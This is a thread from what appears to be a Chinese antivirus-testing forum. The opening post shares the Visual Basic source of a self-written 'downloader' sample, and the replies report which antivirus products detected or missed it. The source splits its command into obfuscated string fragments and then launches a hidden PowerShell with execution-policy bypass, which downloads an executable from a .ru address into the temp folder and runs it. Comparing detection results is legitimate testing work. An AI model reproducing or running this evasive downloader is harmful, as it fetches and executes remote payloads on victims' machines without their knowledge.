#VB #Downloader (2020-04-08)

显示全部楼层 · 发表于 2020-4-8 16:56:55

复制代码

样本源码

Private Sub Form_Load()
Dim ABT6rB, t78grT, GB7bf79, GB8htUY, OGgT3T9i, e57Vv8O, aiuGBU, oB8rv6, A6V68tf, adhn8u, asdinc8d, dun83qnrw, sadxby7, wdyxb7, as76rvew, qxyee4, afsruf, rn49q8xrn, mmmmm As String
ABT6rB = "cmd.e"
t78grT = "xe /c iwbDyExnfh"
GB7bf79 = "FHuWV & Po^"
GB8htUY = "wEr^sh^ell.e"
OGgT3T9i = "^Xe -execut"
e57Vv8O = "ionpolicy byp"
aiuGBU = "ass -nopro"
oB8rv6 = "file -w hidd"
A6V68tf = "en $v1='Net.W'; $v2='ebCli"
adhn8u = "ent'; $var = (New-O"
asdinc8d = "bject $v1$v2); $var.Hea"
dun83qnrw = "ders['User-Agent'] = 'Googl"
sadxby7 = "e Chrome'; $var.downloadfile('ht"
wdyxb7 = "tp://scprodu"
as76rvew = "cts7.ru/ava"
qxyee4 = "ilableupdatemanager/pop"
afsruf = "py.exe','%te"
rn49q8xrn = "mp%WHk58.ex"
mmmmm = "e'); & %temp%WHk58.exe & CXorbhFlHAGsKcP"
Shell ABT6rB + t78grT + GB7bf79 + GB8htUY + OGgT3T9i + e57Vv8O + aiuGBU + oB8rv6 + A6V68tf + adhn8u + asdinc8d + dun83qnrw + sadxby7 + wdyxb7 + as76rvew + qxyee4 + afsruf + rn49q8xrn + mmmmm
End
End Sub

复制代码

显示全部楼层 · 发表于 2020-4-8 17:03:13

eset miss

显示全部楼层 · 发表于 2020-4-8 17:08:28

BEST双击杀
高级威胁防护已拦截一个恶意进程。进程路径: C:\Users\JOJO\Desktop\1.exe.

显示全部楼层 · 发表于 2020-4-8 17:08:57

Avast Scan Miss

显示全部楼层 · 发表于 2020-4-8 17:13:16

ESET miss
又是自己写的？

显示全部楼层 · 发表于 2020-4-8 17:17:16

红伞APC杀

显示全部楼层 · 发表于 2020-4-8 17:20:22

a27573 发表于 2020-4-8 17:13
ESET miss
又是自己写的？

对，没加壳，你可以逆向看看。。

显示全部楼层 · 发表于 2020-4-8 17:21:29

QVM360 发表于 2020-4-8 17:20
对，没加壳，你可以逆向看看。。

双击报错

显示全部楼层 · 发表于 2020-4-8 17:22:51

LSPD 发表于 2020-4-8 17:21
双击报错

在我实体机上都可以运行

显示全部楼层 · 发表于 2020-4-8 17:23:44

本帖最后由 swizzer 于 2020-4-8 17:27 编辑

智量

入库杀Trojan.Generic

双击：WIBD:HEUR.MalBehavior.A01

[病毒样本] #VB #Downloader (2020-04-08)